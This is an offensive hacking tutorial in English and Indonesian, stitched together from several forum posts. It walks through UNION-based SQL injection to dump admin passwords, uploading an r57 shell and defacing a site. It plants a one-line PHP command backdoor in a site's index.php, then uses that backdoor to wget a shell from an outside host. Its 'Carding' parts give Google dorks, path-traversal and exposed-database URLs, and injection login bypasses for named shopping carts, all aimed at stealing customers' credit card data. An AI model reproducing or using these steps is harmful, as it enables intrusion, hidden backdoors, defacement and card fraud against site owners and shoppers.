SQL Injection + Defacement Tutorial

Starting Tutorial:

1. First you need to find vulnerable website.

http://sql-vuln-site.com/index.php?id=15

2. Now you need to find columns.

Code:
http://sql-vuln-site.com/index.php?id=15 order by 1-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 2-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 3-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 4-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 5-- ( no error )
http://sql-vuln-site.com/index.php?id=15 order by 6-- ( error )

Error`s looks like this:
Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'39' at line 1
database query failure- SELECT * FROM texecom_sidemenu WHERE id=\'39

3. Now Select columns

Columns is 5

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT 1,2,3,4,5--

4. Finding version.

So if you not go the bold number 1 , 2, 3 , 4 one of them you will try all.
I choose 1

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT @@version,2,3,4,5--

you got the version like this:
Code:
5.0.32-Debian_7etch11-log

5. Finding Tables

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT table_name,2,3,4,5 from information_schema.tables--

And you will got tables like this:
Code:
PRODUCTS , ADMINS , and others

So must be there table by name: admin , users , user , login , client.

6. Finding Columns in the Table ADMINS.

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char()--

We found ADMINS table now go to ASCII web and convert ADMINS

You will got this ADMINS
Remove &# and replace ; to ,
Like this: 65,68,77,73,78,83

Code:
You put table_name=char(65,68,77,73,78,83)--

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT column_name,2,3,4,5 from information_schema.columns where table_name=char(65,68,77,73,78,83)--

And you will got the columns in table ADMINS
There need to have columns with names: username and password

7. Getting username and password.

Now we put concat(username,0x3a,password) and admins

Code:
http://sql-vuln-site.com/index.php?id=15 UNION ALL SELECT concat(username,0x3a,password),2,3,4,5 from admins--

( 0x3a is ASCII )

8. Finded username and password

So you found the username and password
if the password is hash like this: 2510c39011c5be704182423e3a695e91
you will need to use MD5 Hash Online Crackers.

If password is not hash you are lucky and now you need to find admin panel.

9. Finding Admin Panel

Open the tool Admin Finder
Put the website in the bellow and click Scan.

So you found admin panel and it looks like this http://sql-vuln-site.com/admin/login.php

You open website and there have Username: Password:
Put username and password what you got.

Done you login in Admin Panel lets upload shell and deface.

10. Uploading Shell and Add Deface

In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website who i tell you before start tutorial so you will try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this:

http://sql-vuln-site.com/upload/r57.php

If can't upload r57.php change it to r57.jpg.php or r57.txt and try!

You need to make a deface page in html and put in the website so you open the shell looks like this image:

You will found a file index.php and click on it and there you will remove the php code from index and put your html code.

Congratulations you deface the website.

shell include file kecil

mungkin buat agan2 skalian dah biasa yang namanya c99 or r57 or devshell or fxshell , rata2 script php yang di pake di atas harus di encript ke base64 atau lainnya agar tidak terdeteksi antivirus sbgai trojan or worm dan script nya pun lumayan gede untuk kapasitas file dalam web .. jadi sangat mudah bagi admin mengetahui script yang bukan bawaan dari site itu

nah disini saya akan memberikan shell script dengan system include file seperti RFI jadi kita bisa memanggil file dari luar lewat url dan yang paling gw suka dari script ini kapasitasnya kecil banget karena hanya satu baris ajah..

dan juga bisa dikatakan hidden shell karna script ini di sisipkan ke php file aslinya website target..

contohnya gini :
http://tante-sayang.com/index.php <== perhatikan index.php

pertama kita msuk ke cpanel or apa aja yang bisa buat kita edit index.php itu lebih enak pake c99 dulu terus edit index.php nya

---------------------- exp

?>

----------------------

misalnya contoh isi dari source php index aslinya seperti diaatas maka kita menambahkan shell includenya sperti ini

--------------------- exp

?>

---------------------

tambahkan di awal codenya untuk execusi nya disave dulu terus buka di url nya seperti ini

http://tante-sayang.com/index.php?x0r=[command include]
http://tante-sayang.com/index.php?x0r=ls -al

pasti binggung kok ada kata x0r dan = ???? ya kalo di liat gitu emang bingung tapi kalo dah liat codenya pasti ngerti kok..

neh codenya :

";$cmd = ($_REQUEST['x0r']);system($cmd);echo "";die;}?>

perhatikan kata x0r di atas hehehe x0r itu sama artinya kita membuka pintu untuk pemanggilan atau request dari luar server dengan cara itu kita bisa mengetikan perintah linux misalnya uname -a , ls -al , pwd , or wget nanti file yang di minta akan automatis saved di directory default file kita itu misalnya /home/tante-sayang/public_html/[file kita disini]

masih kurang ngerti ?? gini ni

http://tante-sayang.com/index.php?x0r=wget http://priasantai.com/shell.tmp;ls -al

liat akan muncul file2 di public_html nya coba di cari ada gag shell.tmp ??

kalo ada tinggal rename aja jadi php

http://tante-sayang.com/index.php?x0r=mv shell.tmp x0r.php

nanti bukanya jadi

http://tante-sayang.com/x0r.php jadi deh dijamin admin gag bakal tau loe dah inject sitenya

setelah loe berhasil inject shell include ini sebaiknya loe hapus smw c99 or shell mu sebelumnya biar enak heehehe...

Carding Part V

ini lah akhir totur yang saia berikan
buat teman²....
maap bgt kalo ga berguna
maap bgt kalo dah basi
karena memang hanya ini lah kemampuan saia
saia hanya seorang newbie yang ingin
menjadi hebat (walaupun kayanya ga
mungkin)..
selamat menikmati tutor nya yaaaaa
ontoh bugs pada bentuk toko sistem : Store
Ketik keyword google.com :
inurl:"/store/proddetail.asp?prod="
bugs : ganti tulisan
proddetail.asp?prod= dengan
fpdb/vsproducts.mdb
Example : LIVE TARGET EDITED
masukin bugsnya LIVE TARGET EDITED
download file .mdbnya trus buka pake MS-
ACCESS..
Contoh bugs pada bentuk toko sistem :
Sunshop
Ketik keyword google.com : "Powered by
SunShop 3.2"
Atau google dork :
inurl:"/sunshop/index.php?action="
Bugs : ganti kata index.php dgn admin
kl ada peringatan java script error klik
"OK" aja
Contoh buat kalian : LIVE TARGET EDITED
ganti dengan admin http LIVE TARGET EDITED
Login pake SQL Injection :
Username : admin
Password :'or''='
Contoh bugs pada bentuk toko sistem :
digishop
Ketik keyword google.com
Ketik keyword google.com : "Powered by
Digishop 3.2"
Bugs : hapus tulisan cart.php?m= dengan
admin
Login pake SQL Injection :
Username : 'or"="
Password : 'or"="
Contoh target :
LIVE TARGET EDITED
Contoh bugs pada bentuk toko sistem :Lobby
Ketik keyword google.com :
inurl:"mall/lobby.asp"
bugs : ganti tulisan /mall/lobby.asp
dengan fpdb/shop.mdb
example : Gem Depot Lobby Page - Search
our Inventory
jadi LIVE TARGET EDITED
dapat dech .mdb ===> trus klik open
database JANGAN klik "convert
databese" ===> klk view orders ====>
trus cari orang yg pernah
belanja contoh pada customer no 36 trus
dimana no CCnya badKiddes....
sabar bro... masih di table customer no
36 then klikpayment

Carding Part IV


masih tutor yang lama...
sekali lagi saia mohon maaf dan mohon
koreksi kalo tutor ini tidak berguna
sama sekali
Contoh bugs pada bentuk toko sistem :
Index CGI
Ketik keyword google.com :
allinurl:store/index.cgi/page=
Bugs : ../admin/files/order.log
Example:
http://www.target.com/cgi-bin/store/...ir_Manuals.ht m
masukin bugsnya:
http://www.target.com/cgi-bin/store/...iles/order.lo g
trus copy-paste tuch log'nya di notepad
biar gampang di baca
Contoh bugs pada bentuk toko sistem :
Index Cart
Ketik keyword google.com :
inurl:"/cart.php?m="
Bugs : Admin
ganti tulisn cart.php?m=view dengan admin
login pake SQl Injection :
username :'or"="
Passwordnya :'or"="
contoh target buat kalian :
LIVE TARGET EDITED
Contoh bugs pada bentuk toko sistem :
Index cart
Ketik keyword google.com : /ashopKart20/"
bugs : ganti tulisan yang ada didepannya
ama admin/scart.mdb
example LIVE TARGET EDITED
Injection : selanjutnya masukin bugs di
atas jadi : LIVE TARGET EDITED
kalo berhasil loe dapet file
beresktension .mdb nach file itu
tmn2 open with MS-Acces
Contoh bugs pada bentuk toko sistem : Catid
Ketik keyword google.com :
/shop/category.asp/catid=
Bugs : hapus tulisan
/shop/category.asp?catid=2 ganti dengan
/admin/dbsetup.asp
example : LIVE TARGET EDITED
masukin bugs menjadi : LIVE TARGET EDITED
kalo berhasil dapet file.mdb trus buka
pake MS - Access

Carding Part III


tetep tutor lama dari seorang
pemula..huekekekekeke. maaf yak kalo ada
yang salah. mohon dikoreksi kembali
Contoh bugs pada bentuk toko sistem :
Lobby.asp
Ketik keyword google.com : allinurl:
Lobby.asp
Contoh :
http://www.Target.com/mall/lobby.asp
Hapus tulisan mall/lobby.asp dan ganti
dengan : fpdb/shop.mdb
Hasilnya :
http://www.Target.com/fpdb/shop.mdb
Contoh bugs pada bentuk toko sistem :
Shopper.cgi
Ketik keyword google.com : allinurl:
/cgi-local/shopper.cgi
Contoh:
http://www.Target.com/cgi-local/shopper....dd=action& key=
Tambah dengan :...&template=order.log
Hasilnya:
http://www.xxxxxxxx.com/cgi-local/shoppe...add=action &key=...&template=order.log
Contoh bugs pada bentuk toko sistem
:Proddetail.asp
Ketik keyword google.com :
allinurl:proddetail.asp?prod=
Contoh:
http://www.Target.org/proddetail.asp?pro...SledRaffle
H apus tulisan proddtail.asp?prod=SG369
dan ganti dengan --> fpdb/vsproducts.mdb
Hasilnya :
http://www.Target.org/fpdb/vsproducts.mdb
Contoh bugs pada bentuk toko sistem
:Digishop
Ketik keyword google.com :
inurl:"/cart.php?m="
Contoh :
http://Target.com/store/cart.php?m=view.
Hapus tulisan cart.php?m=view
dan ganti dengan -->admin
Hasilnya
http://Target.com/store/admin
Trus masukin username sama pass nya pake
statment SQL injection
Usename : 'or"="
Password : 'or"="
setelah bisa login, cari data yang
diperlukan .

Carding Part II


masih lanjutan tutor yang sebelumnya.
tetep tutor lama. maklum aja saia kan
newbie..jadi adanya tutor lama.
tapi dengan segala keterbatasan saia,
itu tidak membuat saia berdiam diri dan
tidak berbagi. ya kan??...walaupun
sedikit yang penting berbagi
Contoh bugs pada bentuk toko sistem :
PDshopro
Ketik keyword google.com :
allinurl:/shop/category.asp/catid=
Contoh :
http://www.Target.com/shop/category.asp/catid=xxxxxx
Hapus /shop/category.asp/catid=xxxxxx
dang ganti dengan : /admin/dbsetup.asp
Hasilnya :
http://www.Target.com/admin/dbsetup.asp
Dari keterangan diatas , kita dapati
file databasenya dgn nama
sdatapdshoppro.mdb
Download file sdatapdshoppro.mdb dengan
merubah url nya menjadi
http://www.Target.com/data/pdshoppro.mdb
Buka file tsb pakai Microsoft Acces
Contoh bugs pada bentuk toko sistem :
commerceSQL
Ketik keyword google.com :
allinurl:/commercesql/
Contoh :
http://www.Target.com/commercesql/xxxxx
Hapus commercesql/xxxxx dan ganti
dengan: cgi-bin/commercesql/index.cgi?page=
Hasilnya:
http://www.Target.com/cgi-bin/commercesq....cgi?page=
Untuk melihat adminconfig
http://www.Target.com/cgi-bin/commercesql/index.cgi?pa ge=../admin/admin_conf.pl
Untuk melihat adminmanager
http://www.Target.com/cgi-bin/commercesql/index.cgi?p age=../admin/manager.cgi
Untuk melihat filelog/CCnya
http://www.Target.com/cgi-bin/commercesql/index.cgi ?page=../admin/files/order.log
Contoh bugs pada bentuk toko sistem :
Cart32 v3.5a
Ketik keyword google.com :
allinurl:/cart32.exe/
Contoh:
http://www.Target.net/wrburns_s/cgi-bin/...e/NoItemFo und
Ganti NoItemFound dengan : error
Bila kita mendapati page error dg
keterangan instalasi dibawahnya,
berarti kita sukses!
Sekarang, kita menuju pada keterangan di
bawahnya, geser halaman
kebawah, dan cari bagian Page Setup and
Directory Kalau dibagian
tersebut terdapat list file dgn format
/akhiran.c32 berarti di site tsb.
terdapat file berisi data cc
Copy salah satu file .c32 yg ada atau
semuanya ke notepad atau
program text editor lainnya.
Ganti string url tsb. menjadi seperti
ini :http://www.
Target.net/wrburns_s/cgi-bin/cart32/
Nah. ., paste satu per satu, file .c32 ke
akhir url yg sudah
dimodifikasi tadi, denganformat
http://www.Target.com/cart32/
Contoh
http://w ww.Target.net/wrburns_s/cgi-bin/cart32/WRBURNS-001065.c 32
Contoh bugs pada bentuk toko sistem :
VP-ASP Shopping Cart 5.0
Ketik keyword google.com :
allinurl:/vpasp/shopdisplayproducts.asp
Buka url target dan tambahkan string
berikut di akhir bagian
shopdisplayproducts.asp
Contoh:
http://Target.com/vpasp/shopdisplayproducts.asp?cat= qwerty'%20union%20select%20fldauto,fldpassword%20from%2 0tbluser%20where%20fldusername='admin'%20and%20fldpassw ord%20like%20'a%25'--

Gantilah nilai dari string url terakhir dg:
: %20'a%25'--
: %20'b%25'--
: %20'c%25'--
Kalau berhasil, kita akan mendapatkan
informasi username dan password admin
Untuk login admin ke
http://Target.com/vpasp/shopadmin.asp
silahkan Cari sendiri data CCnya

Contoh bugs pada bentuk toko sistem :
VP-ASP Shopping Cart 5.0
Ketik keyword google.com : Ketik -->
allinurl:/vpasp/shopsearch.asp
Buka url target dan utk membuat admin
baru, postingkan data berikut
satu per satu pada bagian search engine :
Keyword=&category=5); insert into
tbluser (fldusername)values
('')--&SubCategory=&hide=&action.x=46&action.y= 6
Keyword=&category=5); update tbluser set
fldpassword=''where
fldusername=''--&SubCategory=All&action.x=33&act ion.y=6
Keyword=&category=3); update tbluser set
fldaccess='1'where
fldusername=''--&SubCategory=All&action.x=33&act ion.y=6
Jangan lupa untuk mengganti dan nya
terserah kamu.
Untuk mengganti password admin, masukkan
keyword berikut :
Keyword=&category=5); update tbluser set
fldpassword=''where
fldusername='admin'--&SubCategory=All&action.x=3 3&action.y=6
Untuk login admin, ada di
http://Target/vpasp/shopadmin.asp

Carding Part I


ini adalah tutor lama, tapi mungkin saja
masih bisa membantu temen² seperti saia
yang baru belajar.....
Contoh bugs pada bentuk toko system :
shopadmin

Ketik keyword google :
allinurl:/shopadmin.asp
Contoh target :
http://www.Target.com/shopadmin.asp
user : 'or'1
pass : 'or'1
Contoh bugs pada bentuk toko sistem :
Index CGI
Ketik keyword google :
allinurl:/store/index.cgi/page=
Contoh target:
http://www.Target.com/cgi-bin/store/inde...e=short_bl ue.htm
Hapus short_blue.htm dan gantidengan
:./admin/files/order.log
Hasilnya:www.Target.c om/cgi-bin/store/index.cgi?page=../admin/files/order... log
Contoh bugs pada bentuk toko sistem :
metacart
Ketik keyword google.com :
allinurl:/metacart/
Contoh target :
http://www.Target.com/metacart/about.asp
Hapus moreinfo.asp dan ganti dengan :
--> /database/metacart.mdb
Hasilnya:
/www.Target.com/metacart/database/metacart.mdb
Contoh bugs pada bentuk toko sistem :DCShop
Ketik keyword google.com : allinurl:/DCShop/
Contoh :
http://www.Target.com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan
/DCShop/orders/orders.txt atau
/DCShop/Orders/orders.txt
Hasilnya:
http://www.Target.com/xxxx/DCShop/orders/orders.txt
Contoh bugs pada bentuk toko sistem : EShop
Ketik keyword google.com : allinurl:/eshop/
Contoh :
http://www.Target.com/xxxxx/eshop
Hapus /eshop dan ganti dengan :
/cg-bin/eshop/database/order.mdb

Hasilnya:
http://www.Target.com/.../cg-bin/eshop/d.../order.mdb
Download file *.mdb nya dan Buka file
tsb pakai Microsoft Acces

=======================================================================================